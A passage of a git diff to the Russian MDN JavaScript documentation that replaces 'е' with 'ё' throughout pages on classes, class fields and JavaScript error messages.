console.log(</code>`${this.name} издает звук.`<code class="language-js">); + console.log(</code>`${this.name} издаёт звук.`<code class="language-js">); } } @@ -345,7 +345,7 @@ class Lion extends Cat { let l = new Lion('Фаззи'); l.speak(); -// Фаззи издает звук. +// Фаззи издаёт звук. // Фаззи рычит.</code> </pre> @@ -396,7 +396,7 @@ class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</code></pre> <h2 id="Повторное_определение_класа">Повторное определение класа</h2> -<p>Класс не может быть переопределен. Попытка этого приведет к <code>SyntaxError</code> .</p> +<p>Класс не может быть переопределён. Попытка этого приведёт к <code>SyntaxError</code> .</p> <p>Если мы запускаете код в веб браузере, к примеру в Firefox Web Console (<strong>Tools </strong>><strong> Web Developer </strong>><strong> Web Console</strong>) и вы используете ('Run') определение класса с одним и тем же именем дважды, вы получите <code>SyntaxError: redeclaration of let <em>ClassName</em>;</code>. (Обсуждение по ошибке можно посмотреть в {{Bug(1428672)}}.) Chrome Developer Tools возвращает сообщение типа <code>Uncaught SyntaxError: Identifier '<em>ClassName</em>' has already been declared at <anonymous>:1:1</code>.</p> diff --git a/files/ru/web/javascript/reference/classes/private_class_fields/index.html b/files/ru/web/javascript/reference/classes/private_class_fields/index.html index 78a5d91787..e81a71e738 100644 --- a/files/ru/web/javascript/reference/classes/private_class_fields/index.html +++ b/files/ru/web/javascript/reference/classes/private_class_fields/index.html @@ -31,7 +31,7 @@ class ClassWithPrivateStaticField { <p>Приватные поля доступны в конструкторе класса изнутри самой декларации класса.</p> -<p>Ограничение статических переменных, вызываемых только статическими методами, все еще сохраняется.</p> +<p>Ограничение статических переменных, вызываемых только статическими методами, все ещё сохраняется.</p> <pre class="brush: js notranslate">class ClassWithPrivateStaticField { static #PRIVATE_STATIC_FIELD @@ -139,7 +139,7 @@ console.log(Derived.publicStaticMethod2()); // TypeError <h4 id="Приватные_методы_экземпляровinstance">Приватные методы экземпляров(instance)</h4> -<p>Приватные методы экземпляров это методы, доступные у экземпляров класса, доступ к которым запрещен также, как у приватных полей класса.</p> +<p>Приватные методы экземпляров это методы, доступные у экземпляров класса, доступ к которым запрещён также, как у приватных полей класса.</p> <pre class="brush: js notranslate">class ClassWithPrivateMethod { #privateMethod() { diff --git a/files/ru/web/javascript/reference/classes/public_class_fields/index.html b/files/ru/web/javascript/reference/classes/public_class_fields/index.html index ea67222e50..b32dc3d2fc 100644 --- a/files/ru/web/javascript/reference/classes/public_class_fields/index.html +++ b/files/ru/web/javascript/reference/classes/public_class_fields/index.html @@ -172,7 +172,7 @@ console.log(instance.publicMethod()); }</pre> <p>Внутри методов экземпляра, <code>this</code> ссылается на сам экземпляр.<br> - В классах наследниках, <code>super</code> дает доступ к прототипу базового класса, позволяя вызывать его методы.</p> + В классах наследниках, <code>super</code> даёт доступ к прототипу базового класса, позволяя вызывать его методы.</p> <pre class="brush: js notranslate">class BaseClass { msg = 'hello world'; diff --git a/files/ru/web/javascript/reference/classes/static/index.html b/files/ru/web/javascript/reference/classes/static/index.html index 58ea5996c1..f97c9db2f3 100644 --- a/files/ru/web/javascript/reference/classes/static/index.html +++ b/files/ru/web/javascript/reference/classes/static/index.html @@ -116,7 +116,7 @@ console.log(tp.triple()); <h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам запрос на слияние.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам запрос на слияние.</div> <p>{{Compat("javascript.classes.static")}}</p> diff --git a/files/ru/web/javascript/reference/errors/already_has_pragma/index.html b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html index 5de1095a97..e976c9a07d 100644 --- a/files/ru/web/javascript/reference/errors/already_has_pragma/index.html +++ b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Errors/Already_has_pragma <p>Для данного источника JavaScript исходная карта была указана несколько раз.</p> -<p>Источники JavaScript часто объединяются и минимизируются, чтобы сделать их доставку с сервера более эффективной. С помощью сопоставлений исходного кода отладчик может сопоставить выполняемый код с исходными файлами. Существует два способа назначения исходной карты: с помощью комментария или путем установки заголовка для файла JavaScript.</p> +<p>Источники JavaScript часто объединяются и минимизируются, чтобы сделать их доставку с сервера более эффективной. С помощью сопоставлений исходного кода отладчик может сопоставить выполняемый код с исходными файлами. Существует два способа назначения исходной карты: с помощью комментария или путём установки заголовка для файла JavaScript.</p> <p> </p> diff --git a/files/ru/web/javascript/reference/errors/bad_radix/index.html b/files/ru/web/javascript/reference/errors/bad_radix/index.html index b3e84de1e7..c4cc82a20b 100644 --- a/files/ru/web/javascript/reference/errors/bad_radix/index.html +++ b/files/ru/web/javascript/reference/errors/bad_radix/index.html @@ -25,7 +25,7 @@ RangeError: toString() radix argument must be between 2 and 36 (Chrome) <p><span class="notranslate">Почему значение этого параметра не может быть больше, чем 36? Для оснований</span><span class="notranslate">, превышающих 10, в качестве цифр используются алфавитные символы;</span> <span class="notranslate"> следовательно, основание не может быть больше 36, поскольку в латинском алфавите (используемом английским и многими другими языками) только 26 символов.</span></p> -<p><span class="notranslate">Наиболее распространенные основания систем счисления:</span></p> +<p><span class="notranslate">Наиболее распространённые основания систем счисления:</span></p> <ul> <li>2 для <a href="https://ru.wikipedia.org/wiki/Двоичная_система_счисления">двоичных чисел</a>,</li> diff --git a/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html index 549b5ae654..c5c63a7200 100644 --- a/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html +++ b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html @@ -17,7 +17,7 @@ SyntaxError: Invalid regular expression flags (Chrome) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>В коде есть недопустимые флаги регулярных выражений. Литерал в регулярном выражении, который содержит шаблон заключенный между двумя слешами, флаги определяются после второго флага. Они также могут быть объявлены в конструкторе функции {{jsxref("RegExp")}} object (второй параметр). Флаги регулярного выражения могут быть использованы отдельно или вместе в любой очередности, но в ECMAScript их только пять.</p> +<p>В коде есть недопустимые флаги регулярных выражений. Литерал в регулярном выражении, который содержит шаблон заключённый между двумя слешами, флаги определяются после второго флага. Они также могут быть объявлены в конструкторе функции {{jsxref("RegExp")}} object (второй параметр). Флаги регулярного выражения могут быть использованы отдельно или вместе в любой очерёдности, но в ECMAScript их только пять.</p> <p>Чтоб включить флаг в регулярное выражение, используйте синтаксис:</p> diff --git a/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html index dd69cb3167..17a6e16436 100644 --- a/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html +++ b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html @@ -22,7 +22,7 @@ SyntaxError: yield not in function (Firefox) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Вызов оператора <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> или <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> был осуществлен вне <a href="/ru/docs/Web/JavaScript/Guide/Functions">функции</a>. Может, где-то пропущена фигурная скобка? Операторы <code>return</code> и <code>yield</code> не могут существовать вне функции, поскольку они завершают (или останавливают и возобновляют) её исполнение и указывают значение, возвращаемое в место, откуда она была вызвана.</p> +<p>Вызов оператора <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> или <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> был осуществлён вне <a href="/ru/docs/Web/JavaScript/Guide/Functions">функции</a>. Может, где-то пропущена фигурная скобка? Операторы <code>return</code> и <code>yield</code> не могут существовать вне функции, поскольку они завершают (или останавливают и возобновляют) её исполнение и указывают значение, возвращаемое в место, откуда она была вызвана.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html index 0d309530e6..9c1182eb7c 100644 --- a/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html +++ b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html @@ -12,7 +12,7 @@ translation_of: Web/JavaScript/Reference/Errors/Called_on_incompatible_type <pre class="syntaxbox">TypeError: 'this' не является Set объектом (EdgE) TypeError: Function.prototype.toString вызывается несовместимый объект (Firefox) TypeError: Function.prototype.bind вызывается несовместимая цель (Firefox) -TypeError: Метод Set.prototype.add called вызывается несовместимый приемник undefined (Chrome) +TypeError: Метод Set.prototype.add called вызывается несовместимый приёмник undefined (Chrome) TypeError: Bind должен вызываться для функции(Chrome) </pre> diff --git a/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html index e5c0553e8a..294f115dac 100644 --- a/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html +++ b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html @@ -21,7 +21,7 @@ ReferenceError: 'x' is not defined (Chrome) <h2 id="Что_случилось">Что случилось?</h2> -<p>Попытка доступа к лексической переменной до ее инициализации. Это может произойти в любом блоке, если попытаться обратиться к переменной, объявленной с помощью ключевых слов <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> или <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> до того, как им было присвоено значение.</p> +<p>Попытка доступа к лексической переменной до её инициализации. Это может произойти в любом блоке, если попытаться обратиться к переменной, объявленной с помощью ключевых слов <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> или <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> до того, как им было присвоено значение.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/errors/cant_access_property/index.html b/files/ru/web/javascript/reference/errors/cant_access_property/index.html index df4ab49b2a..01d353480c 100644 --- a/files/ru/web/javascript/reference/errors/cant_access_property/index.html +++ b/files/ru/web/javascript/reference/errors/cant_access_property/index.html @@ -1,6 +1,6 @@ --- title: >- - TypeError: can't access property "x" of "y"(Тип ошибки: не удается получить + TypeError: can't access property "x" of "y"(Тип ошибки: не удаётся получить доступ к свойству "x" из "y") slug: Web/JavaScript/Reference/Errors/Cant_access_property translation_of: Web/JavaScript/Reference/Errors/Cant_access_property @@ -9,16 +9,16 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_access_property <h2 id="Message">Message</h2> -<pre class="syntaxbox">TypeError: не удается получить свойство {x} неопределенной или нулевой ссылки (Edge) -TypeError: не удается получить доступ к свойству {x} of {y} (Firefox) -TypeError: {y} не определен, не может получить доступ к свойству {x} (Firefox) +<pre class="syntaxbox">TypeError: не удаётся получить свойство {x} неопределённой или нулевой ссылки (Edge) +TypeError: не удаётся получить доступ к свойству {x} of {y} (Firefox) +TypeError: {y} не определён, не может получить доступ к свойству {x} (Firefox) TypeError: {y} имеет значение null, не может получить доступ к свойству {x} (Firefox) Образцы: -TypeError: x не определен, не может получить доступ к свойству "prop" +TypeError: x не определён, не может получить доступ к свойству "prop" TypeError: x имеет значение null, не может получить доступ к свойству "prop" -TypeError: не удается получить доступ к свойству "prop" неопределенного -TypeError: не удается получить доступ к свойству "prop" значения null +TypeError: не удаётся получить доступ к свойству "prop" неопределённого +TypeError: не удаётся получить доступ к свойству "prop" значения null </pre> @@ -36,7 +36,7 @@ TypeError: не удается получить доступ к свойству <pre class="brush: js example-bad">// undefined and null cases on which the substring method won't work var foo = undefined; -foo.substring(1); // TypeError: x не определен, не может получить доступ к свойству substring +foo.substring(1); // TypeError: x не определён, не может получить доступ к свойству substring var foo = null; foo.substring(1); // TypeError: x имеет значение null, не может получить доступ к свойству substring @@ -44,10 +44,10 @@ foo.substring(1); // TypeError: x имеет значение null, не мож <h3 id="Исправление_проблемы">Исправление проблемы</h3> -<p>Чтобы исправить указатель null на неопределенные или нулевые значения, можно использовать оператор typeof, например.</p> +<p>Чтобы исправить указатель null на неопределённые или нулевые значения, можно использовать оператор typeof, например.</p> <pre class="brush: js">if (typeof foo !== 'undefined') { - // Теперь мы знаем, что foo определен. + // Теперь мы знаем, что foo определён. }</pre> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/javascript/reference/errors/cant_delete/index.html b/files/ru/web/javascript/reference/errors/cant_delete/index.html index 88dd78272d..ecdfb8cc30 100644 --- a/files/ru/web/javascript/reference/errors/cant_delete/index.html +++ b/files/ru/web/javascript/reference/errors/cant_delete/index.html @@ -9,9 +9,9 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_delete <h2 id="Сообщение">Сообщение</h2> -<pre class="syntaxbox">TypeError: вызов delete на 'x' не разрешен в строгом режиме (Edge) +<pre class="syntaxbox">TypeError: вызов delete на 'x' не разрешён в строгом режиме (Edge) TypeError: свойство "x" не настраивается и не может быть удалено. (браузер Firefox) -TypeError: не удается удалить свойство "x" из #<Object> (Chrome) +TypeError: не удаётся удалить свойство "x" из #<Object> (Chrome) </pre> <h2 id="Тип_ошибки">Тип ошибки</h2> diff --git a/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html index f164596b55..caf464a65f 100644 --- a/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html +++ b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html @@ -1,6 +1,6 @@ --- title: >- - TypeError: can't redefine non-configurable property "x"(Тип ошибки: не удается + TypeError: can't redefine non-configurable property "x"(Тип ошибки: не удаётся переопределить настраиваемое свойство "x") slug: Web/JavaScript/Reference/Errors/Cant_redefine_property translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property <pre class="syntaxbox">TypeError: невозможно изменить свойство, недоступное для записи {x} (Edge) TypeError: невозможно переопределить не настраиваемое свойство "x" (Firefox) -TypeError: не удается переопределить свойство: "x" (Chrome) +TypeError: не удаётся переопределить свойство: "x" (Chrome) </pre> <h2 id="Тип_ошибки">Тип ошибки </h2> @@ -26,13 +26,13 @@ TypeError: не удается переопределить свойство: "x <h3 id="Не_настраиваемые_свойства_созданные_Object.defineProperty">Не настраиваемые свойства, созданные <code>Object.defineProperty</code></h3> -<p>The {{jsxref("Object.defineProperty()")}} создает не настраиваемые свойства, если они не указаны как настраиваемые.</p> +<p>The {{jsxref("Object.defineProperty()")}} создаёт не настраиваемые свойства, если они не указаны как настраиваемые.</p> <pre class="brush: js example-bad">var obj = Object.create({}); Object.defineProperty(obj, "foo", {value: "bar"}); Object.defineProperty(obj, "foo", {value: "baz"}); -// TypeError: не удается переопределить не настраиваемое свойство "foo" +// TypeError: не удаётся переопределить не настраиваемое свойство "foo" </pre> <p>Вам нужно будет установить свойство "foo" в конфигурируемое, если вы собираетесь переопределить его позже в коде.</p> diff --git a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html index cfbf6eb56c..7eecd4634b 100644 --- a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html +++ b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html @@ -66,5 +66,5 @@ JSON.stringify(circularReference, getCircularReplacer()); <ul> <li>{{jsxref("JSON.stringify")}}</li> - <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> – вводит две функции, JSON.decycle и JSON.retrocycle, что дает возможность кодирования и декодирования циклических структур и групп обеспечения доступности баз данных в расширенный и обратно совместимый формат JSON.</li> + <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> – вводит две функции, JSON.decycle и JSON.retrocycle, что даёт возможность кодирования и декодирования циклических структур и групп обеспечения доступности баз данных в расширенный и обратно совместимый формат JSON.</li> </ul> diff --git a/files/ru/web/javascript/reference/errors/dead_object/index.html b/files/ru/web/javascript/reference/errors/dead_object/index.html index de666b01d8..7ce56344d0 100644 --- a/files/ru/web/javascript/reference/errors/dead_object/index.html +++ b/files/ru/web/javascript/reference/errors/dead_object/index.html @@ -1,7 +1,7 @@ --- title: >- - TypeError: can't access dead object (Тип ошибки:не удается получить доступ к - мертвому объекту) + TypeError: can't access dead object (Тип ошибки:не удаётся получить доступ к + мёртвому объекту) slug: Web/JavaScript/Reference/Errors/Dead_object translation_of: Web/JavaScript/Reference/Errors/Dead_object --- @@ -18,9 +18,9 @@ translation_of: Web/JavaScript/Reference/Errors/Dead_object <h2 id="Что_не_так">Что не так?</h2> -<p>Для улучшения использования памяти и предотвращения утечек памяти Firefox запрещает надстройкам сохранять строгие ссылки на объекты DOM после уничтожения родительского документа. Мертвый объект содержит сильную ссылку (keep alive) на элемент DOM, который сохраняется даже после того, как он был уничтожен в DOM. Чтобы избежать этих проблем, ссылки на узлы DOM во внешнем документе должны храниться в объекте, который относится к этому документу, и очищаться при выгрузке документа или храниться как слабые ссылки.</p> +<p>Для улучшения использования памяти и предотвращения утечек памяти Firefox запрещает надстройкам сохранять строгие ссылки на объекты DOM после уничтожения родительского документа. Мёртвый объект содержит сильную ссылку (keep alive) на элемент DOM, который сохраняется даже после того, как он был уничтожен в DOM. Чтобы избежать этих проблем, ссылки на узлы DOM во внешнем документе должны храниться в объекте, который относится к этому документу, и очищаться при выгрузке документа или храниться как слабые ссылки.</p> -<h2 id="Проверка_если_объект_мертв">Проверка, если объект мертв</h2> +<h2 id="Проверка_если_объект_мёртв">Проверка, если объект мёртв</h2> <p><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils">Components.utils</a> предлагает <code>isDeadWrapper()</code>метод, который может использовать привилегированный код. <br> </p> @@ -41,8 +41,8 @@ catch (e) { <h2 id="Смотрите_также">Смотрите также</h2> <ul> - <li><a href="https://blog.mozilla.org/addons/2012/09/12/what-does-cant-access-dead-object-mean/">What does “can’t access dead object” mean?</a>(Что значит “не могу получить доступ к мертвому объекту”?)</li> - <li><a href="/en-US/docs/Extensions/Common_causes_of_memory_leaks_in_extensions">Common causes of memory leaks in extensions</a>(Распространенные причины утечек памяти в расширениях)</li> + <li><a href="https://blog.mozilla.org/addons/2012/09/12/what-does-cant-access-dead-object-mean/">What does “can’t access dead object” mean?</a>(Что значит “не могу получить доступ к мёртвому объекту”?)</li> + <li><a href="/en-US/docs/Extensions/Common_causes_of_memory_leaks_in_extensions">Common causes of memory leaks in extensions</a>(Распространённые причины утечек памяти в расширениях)</li> <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils">Components.utils</a></li> <li><a href="/en-US/docs/Mozilla/Zombie_compartments">Zombie Compartments</a></li> </ul> diff --git a/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html index ed6a768e94..06f348e5b2 100644 --- a/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html +++ b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Errors/Delete_in_strict_mode <h2 id="Сообщение">Сообщение</h2> -<pre class="syntaxbox">SyntaxError: вызов delete on expression запрещен в строгом режиме в (Edge) +<pre class="syntaxbox">SyntaxError: вызов delete on expression запрещён в строгом режиме в (Edge) SyntaxError: применение оператора 'delete' к неполному имени не рекомендуется в (Firefox) SyntaxError: удаление неполного идентификатора в строгом режиме запрещено в (Chrome) </pre> @@ -33,7 +33,7 @@ SyntaxError: удаление неполного идентификатора в <h2 id="Примеры">Примеры</h2> -<p>Попытка удалить простую переменную не работает в JavaScript и выдает ошибку в строгом режиме:</p> +<p>Попытка удалить простую переменную не работает в JavaScript и выдаёт ошибку в строгом режиме:</p> <pre class="brush: js example-bad">'use strict'; @@ -46,7 +46,7 @@ delete x; // SyntaxError: применение оператора 'delete' к неполному имени является устаревшим </pre> -<p>Чтобы освободить содержимое переменной, задайте для нее значение {{jsxref("null")}}:</p> +<p>Чтобы освободить содержимое переменной, задайте для неё значение {{jsxref("null")}}:</p> <pre class="brush: js example-good">'use strict'; diff --git a/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html index 7e89e085df..1e5ea400a1 100644 --- a/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html +++ b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html @@ -19,7 +19,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_expression_closures <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Нестандартный синтаксис закрытия выражений (сокращенный синтаксис функций) устарел и больше не должен использоваться. Этот синтаксис будет полностью удален в Этот синтаксис будет полностью удален в {{bug(1083458)}} а скрипты с его помощью {{jsxref("SyntaxError")}} затем.</p> +<p>Нестандартный синтаксис закрытия выражений (сокращённый синтаксис функций) устарел и больше не должен использоваться. Этот синтаксис будет полностью удалён в Этот синтаксис будет полностью удалён в {{bug(1083458)}} а скрипты с его помощью {{jsxref("SyntaxError")}} затем.</p> <h2 id="Примеры">Примеры</h2> @@ -49,7 +49,7 @@ var obj = { <pre class="brush: js example-good">var x = () => 1;</pre> -<h3 id="Стандартный_синтаксис_с_использованием_сокращенного_синтаксиса_метода">Стандартный синтаксис с использованием сокращенного синтаксиса метода</h3> +<h3 id="Стандартный_синтаксис_с_использованием_сокращённого_синтаксиса_метода">Стандартный синтаксис с использованием сокращённого синтаксиса метода</h3> <p>Замыкания выражений также можно найти с помощью getter'а и setter'а, например:</p> diff --git a/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html index 9bfa3ffb6c..84c437a28d 100644 --- a/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html +++ b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_String_generics --- <div>{{jsSidebar("Errors")}}</div> -<div>Поддержка строковых обобщенных методов прекращена с версии Firefox 68. Более старые версии предупреждают об использовании данных методов следующим образом:</div> +<div>Поддержка строковых обобщённых методов прекращена с версии Firefox 68. Более старые версии предупреждают об использовании данных методов следующим образом:</div> <h2 id="Сообщение">Сообщение</h2> @@ -45,7 +45,7 @@ Warning: String.trimRight is deprecated; use String.prototype.trimRight <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Нестандартные обобщенные методы {{jsxref("String")}} являются устаревшими, поддержка в Firefox прекращена, начиная с версии 68. Строковые обобщенные методы предоставляют возможность применять методы экземпляров <code>String</code> к любым объектам.</p> +<p>Нестандартные обобщённые методы {{jsxref("String")}} являются устаревшими, поддержка в Firefox прекращена, начиная с версии 68. Строковые обобщённые методы предоставляют возможность применять методы экземпляров <code>String</code> к любым объектам.</p> <h2 id="Примеры">Примеры</h2> @@ -62,7 +62,7 @@ String(num).replace(/5/, '2'); <h2 id="Прослойка">Прослойка</h2> -<p>Ниже приведен код прослойки, с помощью которой можно добавить поддержку обобщенных методов String в другие браузеры:</p> +<p>Ниже приведён код прослойки, с помощью которой можно добавить поддержку обобщённых методов String в другие браузеры:</p> <pre class="brush: js">/*globals define*/ // Предполагаем, что все требуемые методы экземпляров String уже присутствуют diff --git a/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html index c90ca639e7..e843b0c45f 100644 --- a/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html +++ b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat <h3 id="Неправильный_синтаксис">Неправильный синтаксис</h3> -<p>В {{jsxref("Date.prototype.toLocaleFormat")}} метод устарел и будет удален (поддержка кроссбраузерных браузеров, доступна только в Firefox).</p> +<p>В {{jsxref("Date.prototype.toLocaleFormat")}} метод устарел и будет удалён (поддержка кроссбраузерных браузеров, доступна только в Firefox).</p> <pre class="brush: js example-bad">var today = new Date(); var date = today.toLocaleFormat('%A, %e. %B %Y'); @@ -34,7 +34,7 @@ console.log(date); <h3 id="Альтернативный_стандартный_синтаксис_с_использованием_ECMAScript_IntlAPI">Альтернативный стандартный синтаксис с использованием ECMAScript IntlAPI</h3> -<p>Стандарт ECMA-402 (ECMAScript Intl API) определяет стандартные объекты и методы, которые позволяют форматировать дату и время с учетом языка (доступно в Chrome 24+, Firefox 29+, IE11+, Safari10+).</p> +<p>Стандарт ECMA-402 (ECMAScript Intl API) определяет стандартные объекты и методы, которые позволяют форматировать дату и время с учётом языка (доступно в Chrome 24+, Firefox 29+, IE11+, Safari10+).</p> <p>You can now either use the {{jsxref("Date.prototype.toLocaleDateString")}} method if you just want to format one date.</p> diff --git a/files/ru/web/javascript/reference/errors/equal_as_assign/index.html b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html index 4219e825ba..1bea6c1135 100644 --- a/files/ru/web/javascript/reference/errors/equal_as_assign/index.html +++ b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Errors/Equal_as_assign <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Было присвоение ( = ), когда вы обычно ожидали тест на присвоение (==). Чтобы помочь отладке, JavaScript (с включенными строгими предупреждениями) предупреждает об этом шаблоне.</p> +<p>Было присвоение ( = ), когда вы обычно ожидали тест на присвоение (==). Чтобы помочь отладке, JavaScript (с включёнными строгими предупреждениями) предупреждает об этом шаблоне.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html index d9a8f5ae2c..d44d147e44 100644 --- a/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html +++ b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html @@ -14,7 +14,7 @@ translation_of: Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>JavaScript 1.6's {{jsxref("Statements/for_each...in", "for each (variable in obj)")}} оператор устарел и будет удален в ближайшем будущем.</p> +<p>JavaScript 1.6's {{jsxref("Statements/for_each...in", "for each (variable in obj)")}} оператор устарел и будет удалён в ближайшем будущем.</p> <h2 id="Примеры">Примеры</h2> @@ -121,7 +121,7 @@ func(undefined); // prints nothing <h4 id="Неправильный_синтаксис">Неправильный синтаксис</h4> -<p>Существует устаревшая идиома для итерации по парам ключ-значение указанного объекта с помощью {{jsxref("Statements/for_each...in", "for each...in")}} и осужденный {{jsxref("Iterator")}} объект.</p> +<p>Существует устаревшая идиома для итерации по парам ключ-значение указанного объекта с помощью {{jsxref("Statements/for_each...in", "for each...in")}} и осуждённый {{jsxref("Iterator")}} объект.</p> <pre class="brush: js example-bad">var object = { a: 10, b: 20 }; diff --git a/files/ru/web/javascript/reference/errors/getter_only/index.html b/files/ru/web/javascript/reference/errors/getter_only/index.html index 9dc64f048f..c7fd7169f9 100644 --- a/files/ru/web/javascript/reference/errors/getter_only/index.html +++ b/files/ru/web/javascript/reference/errors/getter_only/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Errors/Getter_only <pre class="syntaxbox">TypeError: назначение свойств только для чтения не допускается в строгом режиме (Edge) TypeError: установка свойства только для геттера "x" (Firefox) -TypeError: не удается установить свойство "prop" из #<Object>, который имеет только геттер (Chrome) +TypeError: не удаётся установить свойство "prop" из #<Object>, который имеет только геттер (Chrome) </pre> @@ -25,7 +25,7 @@ TypeError: не удается установить свойство "prop" из <h2 id="Примеры">Примеры</h2> -<p>В приведенном ниже примере показано, как установить getter для свойства. Он не задает сеттер, так TypeError выдается при попытке установить свойство температуры до 30. Дополнительные сведения см. Также в {{jsxref("Object.defineProperty()")}} странице.</p> +<p>В приведённом ниже примере показано, как установить getter для свойства. Он не задаёт сеттер, так TypeError выдаётся при попытке установить свойство температуры до 30. Дополнительные сведения см. Также в {{jsxref("Object.defineProperty()")}} странице.</p> <pre class="brush: js example-bad">"use strict"; @@ -45,7 +45,7 @@ arc.temperature; // 'get!' arc.temperature = 30; // TypeError: setting getter-only property "temperature"</pre> -<p>Чтобы устранить эту ошибку, необходимо либо удалить строку 16, в которой предпринята попытка задать свойство temperature, либо реализовать для нее сеттер, например, как показано ниже:</p> +<p>Чтобы устранить эту ошибку, необходимо либо удалить строку 16, в которой предпринята попытка задать свойство temperature, либо реализовать для неё сеттер, например, как показано ниже:</p> <pre class="brush: js example-good highlight[12]">"use strict"; diff --git a/files/ru/web/javascript/reference/errors/identifier_after_number/index.html b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html index 71cdda791f..af7eae5389 100644 --- a/files/ru/web/javascript/reference/errors/identifier_after_number/index.html +++ b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html @@ -22,9 +22,9 @@ SyntaxError: непредвиденное число (Chrome) <p> </p> -<p>Имена переменных, называемых {{Glossary("Identifier", "identifiers")}} соответствуют определенным правилам, которых должен придерживаться ваш код!</p> +<p>Имена переменных, называемых 